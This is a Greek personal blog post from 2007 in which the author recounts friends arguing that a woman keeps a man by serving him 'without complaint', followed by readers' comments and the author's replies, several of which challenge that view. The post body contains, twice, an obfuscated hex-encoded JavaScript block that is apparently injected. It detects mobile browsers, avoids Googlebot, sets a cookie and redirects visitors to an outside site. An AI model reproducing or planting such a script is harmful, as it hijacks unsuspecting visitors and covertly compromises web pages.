anwnymous

3 Μαΐου, 2007

«Αγόγγυστα*»

Filed under: Uncategorized — thelastrealanwnymous @ 7 :12 πμ

(*αγόγγυστα = χωρίς γκρίνια , αδιαμαρτύρητα)

Γνωριζόμαστε πολλά χρόνια. Βγαίνουμε συνήθως το γουίκεντ. Μιλάμε για όλα . Πριν λίγες μέρες βρεθήκαμε πάλι. Εμείς οι πέντε οι βασικοί της παρέας. Ο Μπομπ ο ελληνο-αμερικανός μας, αγόρασε καινούριο καρτ . Πήγαμε να το δούμε . Μπήκαμε στη φάση να κάνουμε και δοκιμαστικό γύρο. Εγώ τα καρτ τα θεωρώ σοβαρά οχήματα  μέχρι τα 16 , μετά αν δεν «ανέβεις» κατηγορία, καλύτερα να αρχίσεις να ξαναβγάζεις ακμή και να ακούς χεβιμέταλ .

Αφού βαρέθηκα στο καρτ και τους έδειξα τις προθέσεις μου, αποφασίσαμε να πάμε στο ναυτικό όμιλο για φαγητό. Εκεί ακούσαμε ότι ο Ανδρέας χώρισε με τη Γιάννα. Εκείνη το πήρε κατάκαρδα. Του έκανε μερικές σκηνές απερίγραπτες στο σπίτι των γονιών του και στη δουλειά. Ο Ανδρέας είναι ξεροκέφαλο παιδί. Είπε «τέρμα» και το εννοεί. Τον έπιασαν οι πιο κολλητοί του από μας , αλλά δεν θέλει να ακούσει κουβέντα.

Η Γιάννα δεν έμεινε εκεί. Υπάρχει και ένα παιδί στη μέση που πριν ένα μήνα γιόρτασε τα γενέθλιά του. Είναι ο Άγγελος και έκλεισε τον πρώτο του χρόνο. Η μαμά του Αγγέλου παίρνει ηρεμιστικά για να νιώσει καλύτερα . Λίγο πριν καταρρεύσει αποφάσισε να βλέπει και ένα ψυχίατρο. 

Ο Ανδρέας ανένδοτος. Τέτοια γεγονότα όταν συμβαίνουν σε ανθρώπους που τους ξέρεις καλά σε στεναχωρούν. Να όμως που κάποιος από μας ο Πιέρ ( μισός Γάλλος από τη μητέρα του ) πήρε ύφος και είπε: «Η Γιάννα φταίει».

Και συνέχισε : «Ζούμε σε μία πρακτική εποχή . Πολλές επιλογές μας γίνονται γιατί μας βολεύουν. Αν η Γιάννα καταλάβαινε τον Αντρέα θα έπαιζε το ρόλο μιας δεύτερης γραμματείας στο σπίτι. Θα του έκανε κάποιες πρακτικές διευκολύνσεις σε προβλήματα που προκύπτουν καθημερινά. Όλοι έχουμε άγχος . Με το παραμικρό και χωρίς ιδιαίτερο λόγο ξεσπάμε. Ζούμε διαρκώς μέσα στο άγχος. Αναζητούμε με αγωνία μια  ζωή  πιο «εύκολη». Σήμερα απορρίπτεις ένα καλό σπίτι γιατί δεν έχει πάρκινγκ. Πετάς με την Ετζίαν γιατί ένας φίλος μπορεί να σου φέρει τα εισιτήρια στο γραφείο. Μένεις στην ασφαλιστική που σου δίνει προσωρινά αυτοκίνητο αν τρακάρεις»

Ζητάω δεύτερα ποτά και ξεσπάω στον Πιέρ γιατί οι άλλοι δεν μιλάνε . «Τι μαλακίες είναι αυτές;» λέω πρώτος. «Ποια γυναίκα προλαβαίνει να σου κάνει και τη γραμματέα; Η Γιάννα δουλεύει σε ναυτιλιακό γραφείο , μιλάει με όλο τον πλανήτη κάθε μέρα στο τηλέφωνο, εγώ είδα και συνέντευξή της στον «Επενδυτή» για την πορεία του πετρελαίου και να κάνει τη γραμματέα σ’ αυτό το μαλάκα ; Άντε και πήρε το χάμερ πριν από όλους μας ο τύπος και …; Ένας μαλάκας είναι . Ακόμα και τη δουλειά ο πατέρας του την κρατάει.» με κοιτάζουν αποδοκιμαστικά για το ξέσπασμά μου.  

 «Εγώ βλέπω άλλη γυναίκα στη μέση» ακούγεται ένα ψίθυρος.

Ο Πιέρ σηκώνει το χέρι επιτακτικά να τον ακούσουμε. «Θα το πω για τελευταία φορά : επειδή λίγο πολύ θ’ αρχίσουμε και ‘μεις τις «μαλακίες» – κοίταξε τον Κωνσταντίνο που ψιθύριζε πριν – και έχω μάθει ότι πήγες τη Μπέλα στους δικούς σου , το μυστικό είναι το εξής : Η γυναίκα πρέπει να είναι βολική. Να τα κάνει όλα «αγόγγυστα». Το είπα καλά; Αυτές τις μαλακίες τις λέει ο πατέρας μου όταν μιλάει σοβαρά . Αλλά σ’ αυτό συμφωνώ μαζί του : «Αγόγγυστα». »   « Αν η Γιάννα σήκωνε το τηλέφωνο ένα απόγευμα στο σπίτι για να ξεφορτωθεί ένα σπαστικό πελάτη , αν άφηνε για το καλοκαίρι  το «ντουξιάνα» (οκτώ  χιλιάρικα για ένα κρεβάτι;) , αν του είχε έτοιμο το αρμάνι  , όταν ήρθε ο ιταλός για την εισαγωγή προσούτο  … θα τον είχε δεμένο τώρα χειροπόδαρα τον Ανδρέα. Και επειδή θα την κάνετε τη μαλακία – ξανακοίταξε τον Κωνσταντίνο – ένα είναι το μυστικό : «Αγόγγυστα» . Και … προσέξτε με καλά. Δεν μιλάω για μια γυναίκα –δούλα , μιλάω για ένα πρακτικό πλάσμα , που μας ξέρει τόσο καλά και με τον τρόπο της ,δεν μας αφήνει να πνιγούμε σε μια κουταλιά νερό.» Η διάλεξη τελείωσε. Εγώ χειροκρότησα πρώτος . «τα ξέρουμε και τα δικά σου …» μου φώναξε ο Πιέρ.

 Παίρνουμε κι άλλα ποτά.

 « Με χαλάνε αυτές οι φάσεις, ήμουν στα γενέθλια.» «Ας χωρίσουν, αφού δεν πάει ας χωρίσουν , αλλά να φθάσει η Γιάννα να καταρρεύσει;» «Μίλησε κανείς με τον Ανδρέα;» «Άδικος κόπος , δεν ακούει κανέναν.»  

Αυτά άκουσα να λένε οι άλλοι . Εγώ  κοιτάζω αφηρημένος  ένα πλάσμα δίπλα  να τρώει τόσο λαίμαργα γαριδομακαρονάδα έχοντας φτιάξει ένα κόκκινο μουστάκι από σάλτσα στο χείλος της .

 Ωραίος ήλιος και ωραίος κόσμος , με πρώιμο μαύρισμα , έρχεται καλοκαίρι και δεν θα αφήσω καμία «θεωρεία» να μου διαλέξει γυναίκα.  

Που πάμε τώρα; Πάμε στη μαρίνα να δούμε το σκάφος του «πεθερού»  του Κωνσταντίνου. Ο Κωνσταντίνος φοβάται για τις μαλακίες και τα πειράγματα …ξέρεις «μικρό μου φαίνεται…», «θα στο δώσει κι αυτό μαζί με τη Μπέλλα;» και διάφορα άλλα τέτοια φιλικά «σκατάκια» που θα ακούσει .

 Ένα τελευταίο ποτό πριν φύγουμε . 

 Φθάνουμε στη μαρίνα .Ωραίο το σκάφος . Θαυμάσιο. Έχει και κάβα . Την ανακάλυψα πρώτος. Δοκιμάζω μπέρμπον με πολύ τριμμένο πάγο. Σαν αναψυκτικό πίνεται. Περνάει το απόγευμα με τσιγάρα , αρκετό ποτό και μια λέξη που μάλλον δεν θα ξεχάσω : Αγόγγυστα.

 Ξαπλώνω σ ένα καναπέ στο σκάφος .Κάνουμε κι άλλες μαλακίες μετά. Θα πιούμε κι άλλο. Γυρίζω σπίτι πολύ αργά. 

 Και τώρα ακούστε τι έπαθα: Δίπλα στο κρεβάτι μου , είναι πεταμένες στη μοκέτα δυο τρεις ποιητικές συλλογές. Έχω την έμμονη ιδέα ότι τα πολλά περιοδικά αυτοκινήτου , οι οικονομικές στήλες και τα αθλητικά καταστρέφουν το δημιουργικό τμήμα του μυαλού μου. Έχω αποφασίσει λοιπόν πριν κοιμηθώ να διαβάζω έστω και λίγη ποίηση (…κλασσικές παγκόσμιες αλήθειες)

Σηκώνω ένα χοντρό βιβλίο και διαβάζω μερικούς στίχους μόνο . Δεν θα  μπω σε περισσότερες λεπτομέρειες γιατί μόλις τώρα διαβάζοντας είχα ένα φλας : τρεις, τέσσερις από τους μεγαλύτερους ποιητές μας , που ύμνησαν τον έρωτα και την αγάπη , διάλεξαν τελικά για σύντροφο της ζωής τους μια γυναίκα , που τους ανεχόταν : «αγόγγυστα»

Καλό γουικέντ J^^var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

54 Σχόλια »

  1. το ζήτημα γλυκέ μου δεν είναι στο «αγόγγυστα», λυπάμαι που το βλέπετε έτσι. ούτε είναι θέμα ανοχής.
    μια γυναίκα μπορεί να είναι απόλυτα πρακτική, να στα φέρνει όλα στο πιάτο στην κυριολεξία, να σε αγαπάει και να είναι πάντα δίπλα σου να σε στηρίζει χωρίς να πάρει τον ρόλο της δούλας.
    το θέμα είναι εσείς οι παραπονιάρηδες και παρταούληδες άντρες να κάνετε ένα και μοναδικό αλλά ουσιώδες πράγμα: να της υπενθυμίζετε ότι είναι γυναίκα!!! (και όχι γλάστρα, καροτσάκι της λαϊκής και όλα τα σχετικά)
    βάλτε το στο μυαλό σας και ο νοών νοήτω!!!
    καλό Σ-Κ και grow up!!!

    Σχόλιο από Natalia — 3 Μαΐου, 2007 @ 10 :13 πμ | Απάντηση

  2. Έχω πάθει ζημιά με καρτ.
    Στο εγώ μου.
    Αναποδογύρισε.
    Ναι, κι όμως!
    Κι ήμουν σε φάση πρώτου ραντεβού…
    Καλό μήνα!

    Σχόλιο από argyrenia — 3 Μαΐου, 2007 @ 10 :52 πμ | Απάντηση

  3. agoggista? pios mporei? den eimaste oloi an8ropoi?

    Σχόλιο από melina — 3 Μαΐου, 2007 @ 4 :25 μμ | Απάντηση

  4. Έρως ανίκατε μάχαν, Έρως ος εν κτήμασι πίπτεις, ος εν μαλακαίς παρειαίς νεανίδος εννυχεύεις, φοιτάς δ’υπερπόντιος εν τ’αγρονόμοις αυλαίς και
    σ’ουτ’ αθανάτων φυξιμος ουδείς ουθ’ αμερίων σε γ’ανθρώπων.
    Ο δ’έχων μέμηνεν.
    Συ και δικαίων αδίκους φρένας παρασπάς επί λώβα.
    ..Έτσι γιατί έχω πάψει να είμαι ρομαντική αλλά αδυνατώ να αποδεχτώ την λογική της μη υποταγής στον έρωτα.

    Σχόλιο από Vouts — 3 Μαΐου, 2007 @ 9 :26 μμ | Απάντηση

  5. Όταν βρίσκεσαι μέσα στο τρυπάκι που το λένε ‘έρωτα’, άγάπη’, όπως το νιώθει ο καθένας τέλος πάντων, δεν νομίζω ότι υπάρχει θέμα που λέγεται ‘αγόγγυστα’ ή πρακτική ζωή. Κάνεις ότι κάνεις γιατί έτσι σου βγαίνει, έτσι νιώθεις ότι θέλεις να κάνεις. Δεν είναι κατακριτέο να του μαγειρέψεις, ούτε γι’αυτόν να απλώσει τα ρούχα. Νιώθεις την ανάγκη να είσαι εκεί και να προσφέρεις με όποιο τρόπο. Δεν πρόκειται για αγώνα ποιος θα προσφέρει τα περισσότερα. Πρόκειται για την ανάγκη να δίνεις και να παίρνεις. Να καλύπτεις και να σε καλύπτουν. Όλα αυτά όμως με δύο προϋπουθέσεις: Αυτοεκτίμηση και σεβασμός στον άλλον. Ένα από τα δύο να λείπει, η συνταγή δε θα δέσει ποτέ. Κάποια πράγματα είναι καλύτερα να τα αντιλαμβανόμαστε σαν συναισθήματα παρά σαν λογικές έννοιες. (Ρομαντισμός;)

    Καλημέρα

    Σχόλιο από LikeToBite — 4 Μαΐου, 2007 @ 8 :39 πμ | Απάντηση

  6. «λέγεται» πως ο Τ Σ Ελιοτ ίσως γιατί η Βίβιαν δεν τον ανέχετο «αγόγγυστα» την έκλεισε σε ψυχιατρική κλινική…

    Σχόλιο από allmylife — 4 Μαΐου, 2007 @ 9 :06 πμ | Απάντηση

  7. θα συμφωνήσω με τα όσα όσα είπε η Ναταλία, λίγο πιο πάνω…

    Σχόλιο από Σπύρος Σεραφείμ — 4 Μαΐου, 2007 @ 11 :06 πμ | Απάντηση

  8. O φίλος σου ο Κωνσταντίνος λέει μαλακίες. Η συγκεκριμένη περίπτωση που περιγράφεις δεν έχει καμμιά σχέση με κουστούμια και αηδίες.
    Όσο για τον γενικό κανόνα ( έτσι που το θέτεις) είναι παγκοσμίως γνωστό οτι αν έχεις έναν ερωτικό υπηρέτη κάνεις θαύματα. Κι εγώ θα ήθελα κάποιον ερωτευμένο μαζί μου , καλό σεξ, ζεστό φαί, να σκέφτεται τη δουλειά μου και να μη με σκοτίζει με την δική του. Σου φαίνεται εγωίστικό; ΕΙΝΑΙ και πολύ μάλιστα. Έτσι όμως κρατάει για πάντα. Κια αν πάθει κατάθλιψη τη στιγμή που εγώ ζω τις μεγάλες δημιουργίες μου , θα του δώσω αντικαταθλιπτικά και θα του πω οτι τον αγαπάω. Μετά ξανά τα ίδια. Αν σου φαίνεται σωστό ετοιμάσου να βρεις δούλα ή να γίνεις δούλος ( δεν αναφέρομαι προσωπικά)

    Σχόλιο από lisadel — 4 Μαΐου, 2007 @ 6 :30 μμ | Απάντηση

  9. «Να γονατίζει ταπεινά χωρίς να είναι δούλα
    Να υπομένει τους καημούς αγόγγυστα σα Μάνα
    Να πολεμά τους κεραυνούς σαν είν΄ αδικημένη
    Και κάθ΄ αυγή να κελαηδά γλυκά σαν καρδερίνα…»

    Η πρώτη μου σκέψη για το φίλο σου το Κωστάκι.. ήταν να του απαντήσω: «Το βλέπεις, αρκείσαι σε αυτό και το προσπερνάς».

    Σχόλιο από Danai — 5 Μαΐου, 2007 @ 10 :09 πμ | Απάντηση

  10. Ναι αγόγγυστα και ξαφνικά γίνεται ένα μπαμ και μαζεύεις κομμάτια… από τη γυναίκα που προσφέρει αγόγγυστα. Με μαθηματική ακρίβεια το ‘μπαμ’ θα το έκανε η Γιάννα μετά από κάποια χρόνια. Το μάθημα ζωής για να κρατήσεις μια γυναίκα, είναι να μπορεί να σε θαυμάζει. Σημείωσέ το αυτό, κάτι ξέρω για να στο λέω, ειδικά αν προσφέρει αγόγγυστα. Ελπίζω να γράφεις σταθερά..

    Σχόλιο από So_Far — 6 Μαΐου, 2007 @ 4 :39 μμ | Απάντηση

  11. ναταλία
    θα μπω στον πειρασμο να μιλήσω «στατιστικά» και όχι συναισθηματικά.
    εχει αποδειχθεί ότι οι άντρες που υπεμθυμίζουν στη σύντροφό τους ότι «είναι γυναίκα» , συνήθως το χρησιμοποιούν σαν σταχτη στα ματια για να καλυψουν αλλες «ενδιαφέρουσες υπαρξεις».
    πολύ η συχνά αυτή η τακτική με δωρακια , ρομαντικά δείπνα και ανδρικες γεναιοδωρίες κρύβουν την εισβολή της ανταγωνίστριας.
    η ειλικρίνεια «στην υπενθύμιση ότι είναι γυναίκα» δείχνει ξενερωτη και η ωραιοποίηση στην ίδια υπενθυμιση κρύβει εκπλήξεις.
    ο άνθρωπος (ο άντρας )είναι απρόβλεπτο πλασμα και η γυναίκα δεν παίρνει πάντα το «μύνημα» της υπενθύμησης .
    αυτό που παραμένει σταθερό σ’ αυτό το απόρβλεπρτο παιχνίδι είναι να ξερεις αν θέλεις (αν αξίζει) να κρατήσεις τον άνθρωπο που αγαπας και ίσως τότε να βρείς τον τρόπο.
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 7 :31 πμ | Απάντηση

  12. αργυρένια
    σε παραδέχομαι που επικεντρωσες τη προσοχή σου στο καρτ.
    αν το έκανες γιατί σου αρέσουν τα καρτ ή αυτός που σε πήγε εκεί τότε μάλλον τον αγαπάς .
    αν παλι το έκανες για να πεις ότι αυτά τα θέματα λύνονται εύκολα αρκεί να ξερεις τι θέλεις , οπότε ας κάνουμε καμία βόλτα με το καρτ τώρα , τότε … και πάλι σε παραδέχομαι.
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 7 :36 πμ | Απάντηση

  13. μελίνα
    είμαστε όλοι άνθρωποι και θέλουμε όλοι να γογγύζουμε .
    ναι φαίνεται να εχεις δικιο, αλλά …
    μερικοί γογγύζουν ζητώντας διαζύγιο και …
    ακριβώς σ’ αυτό το σημείο αρχίζει η ιστορία που εγραψα.
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 7 :39 πμ | Απάντηση

  14. νουτς
    οδήγησες τη συζήτηση στον ερωτα .
    και εγραψες τόσο πολλά από την αντιγόνη του σοφοκλή για να δείξεις την επιμονή σου σ’ αυτή τη μαγική λέξη :έρωτας.
    αν υπαρχει ερωτας λοιπόν δεν υπαρχουν προβλήματα που πρέπει να λυθούν πρακτικά .
    όλα λύνονται.
    όμως … τι γίνεται μετά από 2 χρόνια γάμου και ένα παιδί;
    που βρίσκεται ο ερωτας ;
    που βρίσκεται αυτός ο ανίκητος ο πολεμοχαρής τύπος που κατάφερε να ενώσει δύο ανθρώπους ( που σήμερα είναι ακόμα δυσκολότερο να «ενωθούν» δύο άνθρωποι)
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 7 :44 πμ | Απάντηση

  15. αλλ μάι λαιφ
    υποκλίνομαι !!!!!
    επι τέλους μια γυναίκα απαντησε στο βασικό ερώτημα αυτού του ποστ .
    αν δηλαδή ενας ποιητής θα έβλεπε τον ερωτα στην καθημερινή του σχέση με μία γυναίκα ή αν κι αυτός όπως «όλοι οι άλλοι» θα διαλεγε τη λύση του «αγόγγυστα».
    και αγαπητη αλλ μαι λάιφ υποκλίνομαι γιατί πρόσθεσες ακόμη ένα ποιητή τον έλιοτ σ’ αυτούς που θα προτιμούαν (όπως και οι δικοί μας ποιητές) μιά γυναίκα που να τους ανεχεται αγόγγυστα.
    εδώ είναι αυτή η διάσταση του πόστ που αναφέρεται στο «ποιητικό κλίμα» που επικρατεί σε πολλά μπλογκς .
    υπαρχουν λοιπόν τόσο πολλοί ποιητες εδω μεσα;
    υπαρχουν κι άλλοι που μιλούν για τους ποιητές που ύμνησαν την αγάπη ;
    ναι …μόνο που όταν έρχεται η στιγμή να αποφασίσουν τότε τι;;;;;; θα διαλέξουν : τον έρωτα ή το πρακτικό κοματι μιας σχέσης ;
    ρίχνοντας μια βιαστική ματια στα σχόλια σκεφτόμουν να γραψω ένα γενικό σχόλιο , ότι το ποστ γραφτηκε για να δείξει τη σταση των ποιητών απέναντι στη γυναίκα όταν πρόκειται για τις προσωπικές τους επιλογές.
    όμως με προλαβες
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 7 :55 πμ | Απάντηση

  16. θα συνεχίσω σε λίγο … γιατί εχω να πω πολλά :):):):)

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 7 :56 πμ | Απάντηση

  17. οχού..όλο τα ίδια θα λέμε..το πάθος ή ο πόθος γίνεται έρωτας κι εκείνος θυσία..αυτό θα πει προσφέρομαι εις σάρκα μία..θυσιάζομαι..κανιβαλισμός δηλαδή..εκούσιος κανιβαλισμός η συνύπαρξη..τι θέτε δηλαδή; μετά από χρόνια γάμου και παιδί να είστε όπως πρώτα; ε, νοικιάστε μια γκαρσονιέρα! το’κανε η θεία με τον θείο μου!

    Σχόλιο από Sardonian — 7 Μαΐου, 2007 @ 9 :48 πμ | Απάντηση

  18. χμμμ…
    damned misunderstanding!!!!!!!!!!!!
    δεν εννοώ αυτό γλυκέ μου, σε καμία περίπτωση!!!
    το είπα άλλωστε, να πεις πως δεν το είπα;;; κι ο νοών νοήτω!!!
    πνίγομαι και θα εξηγήσω some other time…

    Σχόλιο από Natalia — 7 Μαΐου, 2007 @ 9 :56 πμ | Απάντηση

  19. σπύρο
    κατ αρχάς συγχαρητήρια γιατί είσαι ο πρώτος άνδρας που απανταει και μάλιστα υποστηρίζει τη θεση μιας γυναίκας.
    ναι … τους το υπενθυμίζουν «κάποιοι» ότι έιναι γυναίκες αλλά φαίνεται ότι καθε γυναίκα θέλει ένα δικό της τρόπο «υπενθύμισης».
    πως να το πω ; δεν αρκεί η «καλή προθεση» , πρεπει να λύσεις και το γρίφο αυτού του ευαίσθητου -και ευφυούς σε θέματα ψυχής – πλάσματος που λέγεται γυναίκα .
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 10 :32 πμ | Απάντηση

  20. λιζαντελ
    «ερωτικό υπηρέτη» … βάλε μου ιδέες τώρα .
    αν εχεις ερωτικό υπηρέτη ή μία ερωτική δούλα (αυτό το δέυτερο με κανει να φαντασιώνομαι 🙂 ) πετάς, δεν σε σταματάει τίποτε , είσαι αήτητος.
    λοιπόν περνάς δύο ωραία χρόνια , κανεις και ενα παιδί , η ερωτική δούλα επιστρέφει στο ναυτιλιακό γραφείο , εσύ πετάς … παντού στη δουλειά , στα κοινωνικά και ….
